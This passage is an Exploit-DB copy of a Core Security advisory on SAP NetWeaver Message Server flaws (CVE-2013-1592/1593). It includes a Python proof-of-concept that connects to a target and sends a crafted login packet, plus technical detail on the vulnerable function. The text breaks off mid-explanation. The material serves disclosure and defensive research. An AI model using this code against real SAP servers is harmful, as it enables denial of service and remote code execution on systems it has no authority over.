Exploit-DB #24511
Description: SAP NetWeaver Message Server - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2013-02-17
Author: Core Security

Exploit:
1. *Advisory Information*

Title: SAP Netweaver Message Server Multiple Vulnerabilities
Advisory ID: CORE-2012-1128
Advisory URL:
http://www.coresecurity.com/content/SAP-netweaver-msg-srv-multiple-vulnerabilities
Date published: 2013-02-13
Date of last update: 2013-02-13
Vendors contacted: SAP
Release mode: Coordinated release



2. *Vulnerability Information*

Class: Improper Validation of Array Index [CWE-129], Buffer overflow
[CWE-119]
Impact: Code execution, Denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-1592, CVE-2013-1593



3. *Vulnerability Description*

SAP Netweaver [1] is a technology platform for building and integrating
SAP business applications. Multiple vulnerabilities have been found in
SAP Netweaver that could allow an unauthenticated remote attacker to
execute arbitrary code and lead to denial of service conditions. The
vulnerabilities are triggered sending specially crafted SAP Message
Server packets to remote TCP ports 36NN and/or 39NN (being NN the SAP
system number) of a host running the 'Message Server' service, part of
SAP Netweaver Application Server ABAP. By sending different messages,
the different vulnerabilities can be triggered.


4. *Vulnerable packages*

   . SAP Netweaver 2004s (msg_server.exe version v6400.61.11.10122)
   . SAP Netweaver 7.01 SR1 (msg_server.exe version v7010.29.15.58313)
   . SAP Netweaver 7.02 SP06 (msg_server.exe version v7200.70.18.23869)
   . SAP Netweaver 7.30 SP04 (msg_server.exe version v7200.201.0.0)
   . Older versions are probably affected too, but they were not checked.

5. *Non-vulnerable packages*

   . Vendor did not provide this information.

6. *Vendor Information, Solutions and Workarounds*

SAP released the security note 1800603 [2] regarding these issues.
Contact SAP for further information.


7. *Credits*

Vulnerability [CVE-2013-1592] was discovered by Martin Gallo and
Francisco Falcon, and additional research was performed by Francisco
Falcon. Vulnerability [CVE-2013-1593] was discovered and researched by
Martin Gallo from Core Security Consulting Services. The publication of
this advisory was coordinated by Fernando Miranda from Core Advisories
Team.


8. *Technical Description / Proof of Concept Code*

The following python script is the main PoC that can be used to
reproduce all vulnerabilities described below:

/-----
import socket, struct
from optparse import OptionParser

# Parse the target options
parser = OptionParser()
parser.add_option("-d", "--hostname", dest="hostname", help="Hostname",
default="localhost")
parser.add_option("-p", "--port", dest="port", type="int", help="Port
number", default=3900)
(options, args) = parser.parse_args()

client_string = '-'+' '*39
server_name = '-'+' '*39

def send_packet(sock, packet):
    packet = struct.pack("!I", len(packet)) + packet
    sock.send(packet)

def receive(sock):
    length = sock.recv(4)
    (length, ) = struct.unpack("!I", length)
    data = ""
    while len(data)<length:
        data+= sock.recv(length)
    return (length, data)

def initialize_connection(hostname, port):

    # Connect
    print "[*] Connecting to", hostname, "port", port
    connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connection.connect((hostname, port))

    # Send initialization packet
    print "[*] Conected, sending login request"

    init = '**MESSAGE**\x00' # eyecatcher
    init+= '\x04' # version
    init+= '\x00' # errorno
    init+= client_string # toname
    init+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #
msgtype/reserved/key
    init+= '\x01\x08' # flag / iflag (MS_LOGIN_2)
    init+= client_string # fromname
    init+= '\x00\x00' # padd
    send_packet(connection, init)

    # Receive response
    print "[*] Receiving login reply"
    (length, data) = receive(connection)

    # Parsing login reply
    server_name = data[4+64:4+64+40]

    return connection

# Main PoC body
connection = initialize_connection(options.hostname, options.port)
send_attack(connection)

-----/


In the following subsections, we give the python code that can be added
after the script above in order to reproduce all vulnerabilities.


8.1. *SAP Netweaver Message Server _MsJ2EE_AddStatistics Vulnerability*

[CVE-2013-1592] The vulnerability can be triggered when SAP Netweaver
'msg_server.exe' module processes a specially crafted network packet
containing a request with 'iflag' value 0x0c
'MS_J2EE_SEND_TO_CLUSTERID', or 0x0d 'MS_J2EE_SEND_BROADCAST'. Malicious
packets are processed by the vulnerable function '_MsJ2EE_AddStatistics'
in the 'msg_server.exe' module. This vulnerability might allow a remote,
unauthenticated attacker to execute arbitrary code with the privileges
of the user running the 'Message Server' service or conduct a denial of
service attack against the vulnerable systems.

The vulnerable function '_MsJ2EE_AddStatistics' receives a pointer to a
'MSJ2EE_HEADER' struct as its third parameter, which is fully controlled
by the attacker. This struct type is defined as follows:

/-----
00000000 MSJ2EE_HEADER   struct ; (sizeof=0x28, standard type)
00000000 senderclusterid dd ?
00000004 clusterid       dd ?
00000008 serviceid       dd ?
0000000C groupid         dd ?
00000010 nodetype        db ?
00000011                 db ? ; undefined
00000012                 db ? ; undefined
00000013                 db ? ; undefined
00000014 totallength     dd ?
00000018 currentlength   dd ?
0000001C currentoffset   dd ?
00000020 totalblocks     db ?
00000021 currentblock    db ?
00000021
00000022                 db ? ; undefined
00000023                 db ? ; undefined
00000024 messagetype     dd ?
00000028 MSJ2EE_HEADER   ends
-----/
 The '_MsJ2EE_AddStatistics' function uses the 'serviceid' field of the
'MSJ2EE_HEADER' to calculate an index to write in